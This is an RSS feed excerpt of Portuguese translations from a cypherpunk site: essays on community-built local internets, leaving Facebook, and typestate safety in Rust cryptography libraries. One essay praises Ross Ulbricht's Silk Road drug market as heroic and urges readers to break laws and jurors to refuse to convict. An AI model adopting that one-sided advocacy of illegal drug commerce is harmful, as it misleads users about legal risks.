&lt;p>O que é preciso para construir uma internet? Precisamos de computadores, é claro, mas não especialmente poderosos ou caros. Como o &lt;em>Homebrew Server Club&lt;/em> explica, “laptops pessoais são bons servidores caseiros, pois estão amplamente disponíveis, são relativamente poderosos e economizam energia”. Conecte dois laptops usando um cabo Ethernet comum(RJ-45) e você terá o início de uma internet. Adicione um terceiro laptop, ou talvez um Raspberry Pi, e você poderá executar um serviço dedicado, como um site da Web ou um catálogo de endereços ou calendário compartilhado. Você pode até criar uma conexão Wi-Fi para clientes em roaming(talvez sua nova internet minúscula esteja em um infoshop*), tudo sem nunca se conectar à Internet propriamente.&lt;/p>
&lt;p>Em seguida, precisamos de imaginação. Sua internet pode ser pequena agora, mas pode crescer, assim como a internet original cresceu e se tornou A Internet que conhecemos hoje. Talvez você publique um site de poesia de resistência como parte de uma coleção de e-books (afinal, você está em um infoshop) e seus vizinhos despertos também queiram navegar pela coleção. Obtenha outro cabo Ethernet e conecte-os, sem necessidade de cartão de crédito.&lt;/p>
&lt;p>Já existem internets como essas. Mencionamos o Guifi na Espanha e o NYC Mesh na cidade de Nova York, mas também há bolsões menores de internets em escala de bairro que oferecem serviços locais exatamente dessa maneira. Alguns até mesmo se conectam de volta à Internet (como o NYCMesh faz), para poderem oferecer simultaneamente serviços apenas locais, bem como acesso à Internet mais tradicional. Uma maneira de pensar sobre esses bolsões de computadores interconectados é a mesma que você pensaria sobre os vários computadores conectados à rede Wi-Fi em sua casa: você só paga por uma conexão, mas pode conectar centenas, se não mais, computadores naquela conexão em simultâneo.&lt;/p>
&lt;p>As tecnologias de interligação de redes, como o BitTorrent, são construídas na noção de partes menores, cada uma delas são segmentos endereçáveis individualmente, que podem ser compostas juntas para criar um todo maior. Nem a Internet, nem as transferências de arquivos BitTorrent são monólitos de fato. Isso significa que não precisamos da permissão de qualquer pessoa ou empresa, chave de licença ou produto comercial para criar o nosso próprio, para interconectá-los aos nossos pares e para executar e manter serviços úteis para eles. Já passou da hora de pararmos de pedir ou pagar pela permissão para construir o mundo em que queremos viver.&lt;/p>
&lt;p>E se você morar longe do infoshop radical do nosso exemplo acima? Acontece que criar novas internets não é uma dicotomia, nem um jogo de soma zero. As internets que estão fisicamente distantes uma da outra ainda podem pegar carona com segurança em uma conexão de Internet — com I maiúsculo — existente para se unir usando as tecnologias de rede Virtual Private Network (VPN) e/ou Tor (serviço Onion). Novamente, é exatamente assim que partes fisicamente desarticuladas de redes pertencentes à comunidade e operadas de forma cooperativa, como aquelas que mencionamos anteriormente, são reconectadas. Una um número suficiente de internets operadas individualmente — isto é, passe outro cabo Ethernet para o próximo prédio, e o próximo, e o próximo — e teremos uma “Internet” recém-criada para rivalizar com a atual. Exceto que, desta vez, nós a possuiremos completamente, em vez de alugar o acesso a ela.&lt;/p>
&lt;p>O fluxo de dados por links de telecomunicações é muito parecido com o fluxo de eletricidade por um fio ou água por um cano, não apenas em sua mecânica técnica, mas também em suas dependências humanas. A rede elétrica não poderia existir sem eletricistas. Água corrente em seu apartamento não seria possível sem encanadores competentes. Administradores de sistemas e engenheiros de rede — não programadores, bootcamps de código ou iniciativas de diversidade Big Tech — são necessários para criar e manter internets independentes como descrevemos aqui. Além disso, são esses componentes mais infraestruturais da autonomia das telecomunicações os primeiros pré-requisitos que devemos tomar para reconquistar a Internet de seus senhores corporativos e governamentais. Dito de outra forma, há muitos programadores, mas não administradores de sistemas o suficiente, precisamente por mais programadores serem o que as corporações precisam no capitalismo, mas mais administradores de sistemas são o que as comunidades revolucionárias precisam para um futuro justo e equitativo.&lt;/p>
&lt;p>É por isso que os esforços radicais de educação em tecnologia, como os do &lt;em>Tech Learning Collective&lt;/em>, se concentram na infraestrutura em vez do código, onde os alunos aprendem habilidades de interligação de redes fundamentais esquecidas pelos “programas de corrida ao emprego” de várias “escolas de preparação para a corporação”. É por isso que projetos como a &lt;em>Shift-CTRL Space Library&lt;/em>, que oferece uma coleção pré-empacotada de software para compartilhar mais facilmente coleções de e-books(PDFs, zines e mais), são construídos usando Software Livre amplamente disponível e independente de acesso à Internet — com I maiúsculo — como é tradicionalmente.&lt;/p>
&lt;p>Já temos o poder, os materiais e o motivo para lutar e reconquistar a Internet. Mas não podemos começar pela última etapa, a construção de (ainda mais) aplicativos “novos”. Temos que começar com a primeira etapa primeiro: possuir nossa própria infraestrutura.&lt;/p>
&lt;p>&lt;strong>Nota do Tradutor:&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Infoshop é uma vitrina, banca ou centro social que serve como ponto de distribuição de informação anarquista, tipicamente na forma de livros, zines, adesivos e cartazes. Infoshops também servem como espaços de encontro e distribuição de recursos para grupos ativistas locais (Fonte: Wikipedia).&lt;/li>
&lt;/ul>
&lt;p>Fonte: &lt;a href="https://c4ss.org/content/53903" target="_blank" rel="noopener noreferrer">How we can win back the Internet by creating lowercase internets&lt;/a>
&lt;/p></content:encoded></item><item><title>Ross Ulbricht e a Coragem de Desrespeitar a Lei</title><link>https://cypherpunks.com.br/documentos/ross-ulbricht-e-a-coragem-de-desrespeitar-a-lei/</link><pubDate>Mon, 09 Nov 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/ross-ulbricht-e-a-coragem-de-desrespeitar-a-lei/</guid><description>Ulbricht não apenas viu uma maneira pela qual ele poderia fazer do mundo um lugar melhor e mais justo, ele viu uma maneira de fazer isso sem obter permissão da lei primeiro. Mais importante, ele agiu com base na informação que ele tinha. Ao criar a Silk Road, Ulbricht sem dúvidas salvou incontáveis vidas.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Diogo Ladeira Sales
Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;em>Tradução originalmente publicada em: &lt;a href="https://c4ss.org/content/56269" target="_blank" rel="noopener noreferrer">https://c4ss.org/content/56269&lt;/a>
&lt;/em>&lt;/p>
&lt;p>Os advogados dele dizem que não vão recorrer. As acusações pelas quais ele vai possivelmente passar o resto da vida na prisão gravitam em torno do &lt;em>marketplace&lt;/em> Silk Road, que permitia aos usuários comercializarem pacificamente drogas ilegais pela internet. Embora ele tenha admitido que criou originalmente o &lt;em>site&lt;/em>, Ulbricht sustentou que ele rapidamente o passou para terceiros. Ao invés de tratar de detalhes do caso, entretanto, eu quero focar em outra coisa – Ross Ulbricht é um herói, alguém merecedor de nossa admiração, alguém cujas virtudes nós devemos cultivar em nós mesmos. Ele merece nosso respeito por sua &lt;strong>coragem de desrespeitar a lei&lt;/strong>.&lt;/p>
&lt;p>Ulbricht não apenas viu uma maneira pela qual ele poderia fazer do mundo um lugar melhor e mais justo, ele viu uma maneira de fazer isso sem obter permissão da lei primeiro. Mais importante, ele agiu com base na informação que ele tinha. Ao criar a Silk Road, Ulbricht sem dúvidas salvou incontáveis vidas. Com a Silk Road, vendedores e compradores de drogas &lt;a href="https://tucker.liberty.me/ross-ulbricht-martyr-for-progress-and-the-rise-of-darkcoin/" target="_blank" rel="noopener noreferrer">puderam comercializar em paz,&lt;/a>
sem ter de lidar com o artificialmente perigoso mercado de drogas offline. O sistema de avaliações e notas do site também permitia que compradores alertassem outros sobre produtos ruins, garantindo que as pessoas recebessem o que eles haviam pedido.&lt;/p>
&lt;p>Tudo isso foi possível porque Ulbricht não apenas tinha visão empreendedora, como também tinha coragem de correr o risco de ser preso. Ele não desperdiçou tempo com plebiscitos, campanhas ou lobby. Ele foi direto à fonte, atuando em ação direta para contornar a lei. No entanto, essa coragem especial é também o motivo pelo qual ele foi tão demonizado. A promotoria insistiu em um pedido de condenação de pena perpétua, aparentemente acreditando que a pena mínima de 20 anos não era o bastante. O juiz concordou, dizendo:&lt;/p>
&lt;blockquote>
&lt;p>O surgimento e a manutenção da Silk Road denotavam que seu… criador era melhor que as leis desse país. Isso é profundamente problemático, terrivelmente equivocado e muito perigoso&lt;/p>
&lt;/blockquote>
&lt;p>As ações de Ulbricht debocharam do poder do estado, assim como dos &lt;a href="http://radgeek.com/gt/2008/01/26/in_which/" target="_blank" rel="noopener noreferrer">procedimentos padrão para questionar esse poder,&lt;/a>
e uma desobediência tão deliberada que não pode ser tolerada.&lt;/p>
&lt;p>Ao mesmo tempo em que Ulbricht estava sendo perseguido, preso e processado pelo “crime” de ajudar pessoas a vender drogas online de forma pacífica, o movimento para legalizar a maconha estava começando a ver algumas de suas vitórias mais substanciais. A lei estava finalmente começando a fazer alguma, embora muito limitada, tentativa de não arruinar as vidas das pessoas por possuírem plantas. Essa tentativa tinha que ser &lt;a href="https://www.counterpunch.org/2014/01/13/state-control-of-the-weed-market/" target="_blank" rel="noopener noreferrer">nos termos do estado,&lt;/a>
contudo, o que incluía o previsível pântano regulatório e os previsíveis parasitas que sabiam exatamente como nadar naquele pântano. Ulbricht fez um experimento por conta própria, buscando laissez-faire ao invés de monopólio era algo totalmente inaceitável para o Estado.&lt;/p>
&lt;p>Se a história é algum exemplo, Ulbricht pode deixar um legado que fará justiça a ele. No fim das contas, mesmo aqueles que concordam com o tratamento dado estão dispostos a reconhecer a virtude quando vista de uma perspectiva histórica. Nós vemos isso no &lt;a href="https://www.cato.org/blog/put-harriet-tubman-20-bill" target="_blank" rel="noopener noreferrer">recente esforço&lt;/a>
para colocar Harriet Tubman na nota de 20 dólares. Poucos, se é que há alguém, ainda estão dispostos a negar publicamente o fato de que Tubman não apenas foi uma heroína, mas de que foi uma heroína por causa da coragem dela de desrespeitar a lei. Ela enxergou uma maneira de libertar um monte de pessoas &lt;a href="https://mises.org/library/brutality-slavery" target="_blank" rel="noopener noreferrer">tratadas feito gado,&lt;/a>
e se recusou a esperar até que as leis da América branca concordassem que a escravidão era maligna antes que ela o fizesse. Agora que a lei concorda&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>, ela é reverenciada universalmente.&lt;/p>
&lt;p>Às vezes essa transformação de condenação para celebração pode ser rápida. Em seu segundo discurso de posse, Barack Obama &lt;a href="https://www.npr.org/sections/itsallpolitics/2013/01/22/169984209/stonewall-explaining-obamas-historic-gay-rights-reference" target="_blank" rel="noopener noreferrer">homenageou&lt;/a>
brevemente as pessoas que lutaram por justiça em Stonewall. Isso é de certa forma surpreendente, dado que os eventos aos quais ele se referiu foram revoltas, nas quais homens e mulheres homossexuais e transgênero categoricamente se recusaram a obedecer ordens policiais. Essas pessoas não se submeteram à lei escrita, mas, ao invés disso, exigiram que ou respeitassem a existência deles ou esperassem a resistência deles. Elas não apenas tiveram a coragem de desrespeitar a lei, mas de se defender fisicamente contra aqueles que estavam tentando aplicá-la. Agora, porque a lei reconhece quão inumano é deter alguém por vestir roupas insuficientemente heteronormativas&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>, essas pessoas heróicas recebem homenagens em um discurso de posse de presidente.&lt;/p>
&lt;p>O que é frequentemente tão claro em retrospecto, embora confuso no presente, é a distinção crucial entre dois tipos de lei: &lt;a href="http://charleswjohnson.name/essays/a-place-for-positive-law/" target="_blank" rel="noopener noreferrer">artificial e natural.&lt;/a>
A primeira é moralmente irrelevante e produzida pelo estado, consistindo em palavras escritas, redigidas de acordo com os procedimentos de preferência do estado, que serão aplicadas de modo confiável pelos agentes do estado. A segunda surge da própria moralidade, consistindo nos direitos e obrigações que nós já somos obrigados a respeitar. Se a segunda conflitar com a primeira, você deve sempre seguir a segunda.&lt;/p>
&lt;p>A única coisa que deve segurar você é a prudência – isto é, se você vai ou não ser pego. Às vezes, entretanto, o benefício é tão grande que os riscos devem ser aceitos. Nós devemos celebrar aqueles – como Ross Ulbricht, &lt;a href="https://couragetoresist.org/category/chelsea-manning/" target="_blank" rel="noopener noreferrer">Chelsea Manning&lt;/a>
e &lt;a href="https://original.antiwar.com/edward-snowden/2013/11/03/a-manifesto-for-the-truth/" target="_blank" rel="noopener noreferrer">Edward Snowden&lt;/a>
– que tiveram a coragem de buscar justiça a despeito do que o sistema de justiça criminal poderia fazer com eles.&lt;/p>
&lt;p>Hospedar sites de compartilhamentos de arquivo que &lt;a href="http://radgeek.com/gt/2009/02/07/countereconomic_optimism/" target="_blank" rel="noopener noreferrer">lentamente tornam inexequível o direito autoral,&lt;/a>
proteger da deportação &lt;a href="https://c4ss.org/content/21916" target="_blank" rel="noopener noreferrer">imigrantes sem documentação,&lt;/a>
esquivar-se do alistamento militar (ou desertar das forças armadas) e incontáveis outras violação de leis artificiais são atos verdadeiramente heróicos. Se você algum dia se encontrar em júri julgando esse tipo de herói, &lt;a href="https://tucker.liberty.me/ross-ulbricht-should-be-freed-in-a-fair-trial/" target="_blank" rel="noopener noreferrer">recuse-se a punir.&lt;/a>
Ao invés disso, siga as orientações da &lt;a href="https://fija.org/" target="_blank" rel="noopener noreferrer">Fully Informed Jury Association&lt;/a>
(Associação do Júri Bem Informado) e questione não apenas os fatos do caso, mas também &lt;a href="https://philpapers.org/rec/HUETDT" target="_blank" rel="noopener noreferrer">a justiça da própria lei.&lt;/a>
&lt;/p>
&lt;p>A maior parte de nós nunca terá o brilhantismo de visão do Ross Ulbrich, e muito menos a habilidade de colocar ela em prática. Se você tiver, contudo, espero que tenha a mesma coragem que ele de desrespeitar a lei.&lt;/p>
&lt;hr>
&lt;p>Fonte original: &lt;a href="https://c4ss.org/content/53744" target="_blank" rel="noopener noreferrer">Ross Ulbricht and the Courage to Break the Law - Jason Lee Byas&lt;/a>
&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Isso não deve ser exagerado, dada a prática de &lt;a href="http://old.studentsforliberty.org/blog/2015/05/22/slaverys-incomplete-end/" target="_blank" rel="noopener noreferrer">aluguel de prisioneiros&lt;/a>
que imediatamente se seguiu à abolição, assim como &lt;a href="http://old.studentsforliberty.org/blog/2015/02/06/abolish-the-criminal-justice-system-pt-iv-free-all-prisoners/" target="_blank" rel="noopener noreferrer">outras práticas&lt;/a>
que sem dúvida constituem escravidão de uma forma diferente.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>Isso também não deve ser exagerado, dada a frequência com que mulheres transgênero são assediadas pela polícia que as traça como trabalhadoras sexuais.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content:encoded></item><item><title>Uma Resposta Agorista ao Banimento de Anarquistas no Facebook</title><link>https://cypherpunks.com.br/documentos/uma-resposta-agorista-ao-banimento-de-anarquistas-no-facebook/</link><pubDate>Tue, 06 Oct 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/uma-resposta-agorista-ao-banimento-de-anarquistas-no-facebook/</guid><description>Claro que o maior obstáculo para fazer com que as pessoas mudem para outra plataforma, como MeWe, Minds, Mastodon, etc., é que a maior parte da sua rede social ainda não está lá. Mas esse foi um problema que o Facebook teve durante os dias do MySpace e acabou superando. Pode demorar um pouco para que a transição chegue à larga escala que …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="logan-marie-glitterbomb">Logan Marie Glitterbomb&lt;/h2>
&lt;p>&lt;/p>
&lt;p>O Facebook está de volta nisso novamente. Em consequência do comício Unite the Right em Charlottesville alguns anos atrás, e devido a muita pressão de ativistas, o Facebook respondeu com uma onda de proibições e censura de “extremistas raciais” que foi tão ampla e simultaneamente ineficaz que literalmente muitos supremacistas brancos puderam continuar falando besteiras, enquanto os ativistas anti-racistas foram banidos por fazer comentários sobre os brancos. No início deste mês, o Facebook baniu qualquer coisa relacionada ao movimento Boogaloo, retratando-os como racistas violentos quando muitos dos grupos e páginas do Boogaloo no Facebook expressamente baniram o racismo e a intolerância. Embora reconhecidamente nem sempre sejam os mais educados ou flexíveis, esses grupos e páginas eram amplamente inclinados para posições libertárias e muitas vezes estavam cheios de memes sobre nazistas yeeting&lt;a href="#notas-do-tradutor">*&lt;/a>
que espelham alguns dos memes mais picantes da antifa. E agora o Facebook baniu páginas, grupos e indivíduos associados à antifa, anarquismo, QAnon e milícias.&lt;/p>
&lt;p>Isso certamente reflete a besteira de “ambos os lados” que fez ativistas anti-racistas serem confundidos com racistas sob as regras anteriores do Facebook. Os grupos de milícias de direita, como os Oathkeepers e os cultistas QAnon, são aglomerados com grupos de autodefesa esquerdistas e anarquistas, de maneira semelhante ao que o próprio Trump faz. Na verdade, isso também se aplica ao fato de o governo Trump ter como alvo os anarquistas e antifascistas, o que é preocupante. Embora o que é mais preocupante, na minha opinião, é o fato de que tantos anarquistas terem se tornado tão dependentes dessa plataforma específica para divulgação e organização quando deveríamos ser os mais experientes no assunto.&lt;/p>
&lt;p>Em vez de nos organizarmos e nos comunicarmos por meio de canais de mídia independente, como os anarquistas costumavam fazer, ou mesmo utilizar plataformas de mídia social alternativas em grande medida, nos tornamos dependentes do Facebook em um grau perigoso. E eu entendo, é uma plataforma que nossa família e amigos fora de nossos círculos políticos usam, portanto, há mais oportunidades de alcançar pessoas fora de nossas bolhas. Mas talvez seja hora de todos nós abandonarmos o navio. Mesmo aqueles não visados por essas proibições devem se preocupar com a operação de criação de dados do Facebook em geral.&lt;/p>
&lt;p>É claro que o maior obstáculo para fazer com que as pessoas mudem para outra plataforma, como MeWe, Minds, Mastodon, etc., é que a maior parte da sua rede social ainda não está lá. Mas esse foi um problema que o Facebook teve durante os dias do MySpace e acabou superando. Pode demorar um pouco para que a transição chegue à larga escala que desejamos, mas tem que começar em algum lugar.&lt;/p>
&lt;p>Então, em vez de lutar para voltar ao Facebook, siga o caminho agorista e entre em uma plataforma diferente enquanto incentiva outros em seus círculos sociais a fazerem o mesmo. Traga sua família, amigos e camaradas políticos. Precisamos de um movimento de massa fora do Facebook. Nunca deveríamos ter deixado Zuckerberg ter tanto poder. Deixe a plataforma morrer como uma relíquia do passado enquanto pavimentamos novos caminhos entre os muitos sites de redes sociais descentralizadas disponíveis para nós. Claro, talvez tenhamos que nos esforçar para recuperar a rede que tínhamos no Facebook, mas muitos de nós já temos várias contas de mídia social, como Twitter, Tumblr etc. e não pensamos muito nisso, então qual é a diferença?&lt;/p>
&lt;p>Então, vamos aproveitar essa oportunidade para fazer a bola rolar um pouco mais adiante e deixar o Facebook para os dinossauros.&lt;/p>
&lt;h5 id="notas-do-tradutor">Notas do Tradutor:&lt;/h5>
&lt;ul>
&lt;li>‘Yeeting’ é uma gíria gringa que, bem…, nem os gringos sambem definir muito bem o que ela significa rs…&lt;/li>
&lt;/ul>
&lt;p>Fonte: (An Agorist Response to Facebook Banning Anarchists - Logan Marie Glitterbomb)[https://c4ss.org/content/53443]&lt;/p></content:encoded></item><item><title>Implementando bibliotecas criptográficas tão seguras quanto possível e resistentes ao uso indevido: Parte I</title><link>https://cypherpunks.com.br/documentos/implementando-bibliotecas-criptograficas/</link><pubDate>Mon, 14 Sep 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/implementando-bibliotecas-criptograficas/</guid><description>Ao longo dos anos, descobri muitas técnicas para aprender a projetar bibliotecas criptográficas tão seguras quanto possível e resistentes ao uso indevido para algumas primitivas bastante complexas, que gostaria de compartilhar na esperança de que possamos continuar a progredir o estado da arte em criptografia para maior segurança com …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="isis-agora-lovecruft">Isis Agora Lovecruft&lt;/h2>
&lt;p>Ao longo dos anos, descobri muitas técnicas para aprender a projetar bibliotecas criptográficas tão seguras quanto possível e resistentes ao uso indevido para algumas primitivas bastante complexas, que gostaria de compartilhar na esperança de que possamos continuar a progredir o estado da arte em criptografia para maior segurança com custo reduzido para criptógrafos e engenheiros de segurança. Se o tempo permitir, espero eventualmente transformar isso em uma série de postagens.&lt;/p>
&lt;p>O &lt;em>typestate&lt;/em> é aquele que eu aprecio muito, mas não tinha um nome antes de ler &lt;strong>&lt;a href="http://cliffle.com/blog/rust-typestate/" target="_blank" rel="noopener noreferrer">este artigo&lt;/a>
&lt;/strong>. Recomendo fortemente a leitura, e não irei revisá-lo em detalhes aqui. O &lt;em>tl;dr&lt;/em>(muito longo; não lido) é que você codifica sua máquina de estado em um sistema de tipos, de forma que mudanças de estado inválidas sejam capturadas em tempo de compilação, e não em tempo de execução.&lt;/p>
&lt;p>Considere, por exemplo, esta implementação fragmentada de um protocolo de geração de chave distribuída de duas rodadas&lt;/p>
&lt;pre tabindex="0">&lt;code>use curve25519_dalek::ristretto::RistrettoPoint;
use curve25519_dalek::scalar::Scalar;
pub struct Commitment(pub(crate) RistrettoPoint);
pub struct SecretKeyShard(pub(crate) Vec&amp;lt;Scalar&amp;gt;);
pub struct PublicKeyShard(pub(crate) Scalar);
pub struct ProofOfKnowledgeOfSecretKeyShard(pub(crate) Scalar, pub(crate) Scalar);
impl ProofOfKnowledgeOfSecretKeyShard {
/// Prove em zero-knowledge uma chave secreta.
pub fn prove(
secret: &amp;amp;SecretKeyShard
) -&amp;gt; ProofOfKnowledgeOfSecretKeyShard {
// ...
}
/// Verifique uma prova de conhecimento de uma chave secreta.
pub fn verify(
&amp;amp;self,
) -&amp;gt; Result&amp;lt;(), ()&amp;gt; {
// ...
}
}
pub struct DistributedKeyGeneration {};
impl DistributedKeyGeneration {
/// Gere um fragmento do eventual segredo compartilhado, e forme alguns compromissos
/// uma prova de conhecimento zero sobre esses segredos, a fim de evitar ataques de chaves
/// não autorizadas, e envie os compromissos e a prova para os outros
/// participantes para verificação.
pub fn round_one_init(
) -&amp;gt; (SecretKeyShard, ProofOfKnowledgeOfSecretKeyShard, Vec&amp;lt;Commitment&amp;gt;) {
// ...
}
/// Confira os commits e provas que foram enviados pelos demais participantes.
pub fn round_one_finish(
proofs: &amp;amp;Vec&amp;lt;ProofOfKnowledgeOfSecretKeyShard&amp;gt;,
) -&amp;gt; Result&amp;lt;(), ()&amp;gt; {
for proof in proofs.iter() {
proof.verify()?;
}
// ...
}
/// Cada participante usa seu fragmento secreto para avaliar um
/// fragmento diferente da eventual chave pública compartilhada,
/// que eles enviam para cada participante respectivo.
pub fn round_two_init(
secret: &amp;amp;SecretKeyShard,
) -&amp;gt; Vec&amp;lt;PublicKeyShard&amp;gt; {
// ...
}
/// Verifique os fragmentos públicos recebidos dos outros participantes,
/// abortando em caso de falha e, em seguida, calcule nossa chave de assinatura
/// de longa duração e uma prova de sua correção.
pub fn round_two_finish(
secret: &amp;amp;SecretKeyShard,
public_shards: &amp;amp;Vec&amp;lt;PublicKeyShard&amp;gt;,
commitments: &amp;amp;Vec&amp;lt;Commitment&amp;gt;,
) -&amp;gt; Result&amp;lt;(), ()&amp;gt; {
// ...
}
}
&lt;/code>&lt;/pre>&lt;p>Já está se saindo melhor do que muitas APIs criptográficas que vi por aí pois:&lt;/p>
&lt;ul>
&lt;li>Em vez de passar blobby arrays de bytes, está pelo menos usando o sistema de tipos para fazer coisas básicas, como garantir que as partes dos fragmentos da chave secreta sejam mantidos separados e tratados de forma diferente dos fragmentos da chave pública, mesmo que compartilhem o mesmo objetos matemáticos subjacentes.&lt;/li>
&lt;li>Possui documentação básica, informando quais ações - fora do escopo desta biblioteca criptográfica - devem ser realizadas com os valores de retorno. (Por exemplo, “enviar os compromissos e comprovantes aos outros participantes para verificação”.)&lt;/li>
&lt;li>Ele tenta usar nomenclatura intuitiva para tipos e variáveis, em vez de condensar as coisas em acrônimos quase indecifráveis ou - pior ainda - usando nomes inexplicáveis[1] de função/variável de uma única letra.&lt;/li>
&lt;/ul>
&lt;p>[1] Em minha humilde opinião, não há problema em usar nomes de variáveis de uma única letra ao espelhar os nomes usados em um papel e deixar comentários para deixar claro o que o objeto realmente é, no entanto, é muito provável que este não seja um código que deva ser exposto a um engenheiro de segurança.&lt;/p>
&lt;p>Então, como poderia ser melhor?&lt;/p>
&lt;p>É precisamente aqui que o padrão de &lt;em>typestate pattern&lt;/em> brilha. O código acima permitiria a um desenvolvedor fazer:&lt;/p>
&lt;pre tabindex="0">&lt;code>let (secret, nipk_of_secret, commitments) = DistributedKeyGeneration::round_one();
send_to_participants(nipk_of_secret, commitments);
let public = DistributedKeyGeneration::round_two_init(&amp;amp;secret);
&lt;/code>&lt;/pre>&lt;p>Dependendo das especificações do protocolo, pular a chamada para DistributedKeyGeneration::round_one_finish() permite um &lt;strong>&lt;a href="https://eprint.iacr.org/2018/417" target="_blank" rel="noopener noreferrer">rogue-key attack&lt;/a>
&lt;/strong>, onde um participante desonesto cria um fragmento de chave pública elaborado que nega a contribuição para uma assinatura do(e) outro(s) participante(s) alvo&lt;/p>
&lt;p>Em vez disso, vamos ver como esse ataque conhecido pode ser eliminado inteiramente, &lt;em>tornando-o detectável em tempo de compilação&lt;/em>.&lt;/p>
&lt;pre tabindex="0">&lt;code>use curve25519_dalek::ristretto::RistrettoPoint;
use curve25519_dalek::scalar::Scalar;
pub struct Commitment(pub(crate) RistrettoPoint);
pub struct SecretKeyShard(pub(crate) Vec&amp;lt;Scalar&amp;gt;);
pub struct PublicKeyShard(pub(crate) Scalar);
pub struct ProofOfKnowledgeOfSecretKeyShard(pub(crate) Scalar, pub(crate) Scalar);
impl ProofOfKnowledgeOfSecretKeyShard {
/// Prove em zero-knowledge uma chave secreta.
pub fn prove(
secret: &amp;amp;SecretKeyShard
) -&amp;gt; ProofOfKnowledgeOfSecretKeyShard {
// ...
}
/// Verifique uma prova de conhecimento de uma chave secreta.
pub fn verify(
&amp;amp;self,
) -&amp;gt; Result&amp;lt;(), ()&amp;gt; {
// ...
}
}
pub type DistributeKeyGenerationState = DistributedKeyGenerationRound1;
pub struct DistributedKeyGenerationRound1 {
pub(crate) secret_shards: SecretKeyShard,
pub proof: ProofOfKnowledgeOfSecretKeyShard,
pub commitments: Vec&amp;lt;Commitment&amp;gt;,
};
impl DistributedKeyGenerationRound1 {
/// Gere um fragmento do eventual segredo compartilhado, e forme alguns
/// compromissos e uma prova de conhecimento zero sobre esses segredos, a
/// fim de evitar ataques de chaves não autorizadas, e envie os
/// compromissos e a prova para os outros participantes para verificação.
pub fn init(
) -&amp;gt; DistributedKeyGenerationRound1 {
// ...
}
/// Confira os commits e provas que foram enviados pelos demais participantes.
/// Só progrida para a rodada 2 se as verificações forem aprovadas.
pub fn progress(
&amp;amp;self,
proofs: &amp;amp;Vec&amp;lt;ProofOfKnowledgeOfSecretKeyShard&amp;gt;,
) -&amp;gt; Result {
for proof in proofs.iter() {
proof.verify()?;
}
// ...
Ok(DistributedKeyGenerationRound2a{ secret_shards: self.secret_shards.clone() }
}
}
pub struct DistributedKeyGenerationRound2a {
pub(crate) secret_shards: SecretKeyShard,
}
impl DistributedKeyGenerationRound2a {
/// Cada participante usa seu fragmento secreto para avaliar um fragmento diferente
/// da eventual chave pública compartilhada, que eles enviam para cada
/// participante respectivo.
pub fn progress(
&amp;amp;self,
) -&amp;gt; DistributedKeyGenerationRound2b {
// ...
}
}
pub struct DistributedKeyGenerationRound2b {
pub(crate) secret_shards: SecretKeyShard,
pub public_shards: Vec&amp;lt;PublicKeyShard&amp;gt;,
}
impl DistributedKeyGenerationRound2b {
/// Verifique os fragmentos públicos recebidos dos outros participantes,
/// abortando em caso de falha e, em seguida, calcule nossa chave de assinatura
/// de longa duração e uma prova de sua correção.
pub fn finish(
&amp;amp;self,
) -&amp;gt; GroupPublicKey {
// ...
}
}
pub struct GroupPublicKey(pub RistrettoPoint);
&lt;/code>&lt;/pre>&lt;p>Com essas mudanças, o código de um desenvolvedor de segurança provavelmente se pareceria mais com isto:&lt;/p>
&lt;pre tabindex="0">&lt;code>let state = DistributedKeyGeneration::init();
let proofs = collect_proofs_from_other_participants();
let state = state.progress(&amp;amp;proofs)?.progress();
send_public_shards_to_other_participants(state.public_shards);
let group_public_key = state.progress();
&lt;/code>&lt;/pre>&lt;p>Se alguma das funções de atualização do estado da máquina for chamada sem o contexto correto, o compilador detecta o erro, reforçando a segurança contra ataques criptográficos antes que eles ocorram.&lt;/p>
&lt;p>Este é, embora, um exemplo de brinquedo bastante trivial e simples. Há muitas outras coisas que poderíamos fazer com um sistema de tipos decente para melhorar este código, incluindo, mas não se limitando a:&lt;/p>
&lt;ul>
&lt;li>Fornecendo um traço RoundTwo para aumento genérico sobre os dois estados tipificados na segunda rodada do protocolo.&lt;/li>
&lt;li>Usar o padrão de &lt;strong>&lt;a href="https://rust-lang.github.io/api-guidelines/future-proofing.html#sealed-traits-protect-against-downstream-implementations-c-sealed" target="_blank" rel="noopener noreferrer">sealed design&lt;/a>
&lt;/strong> para evitar que terceiros criem implementações adicionais de estados RoundTwo válidos.&lt;/li>
&lt;li>Evitar &lt;em>clone()/copy()&lt;/em> repetido de dados no estado da máquina (por exemplo, os &lt;em>secret_shards&lt;/em> que são copiados várias vezes no exemplo acima) abusando de outra característica vazia implementada para todos os &lt;em>typestate&lt;/em> para armazenar o estado real em um &lt;em>heap-allocated pointer&lt;/em> (por exemplo, &lt;em>Box &lt;!-- raw HTML omitted -->&lt;/em>) copiado em seu lugar.&lt;/li>
&lt;/ul>
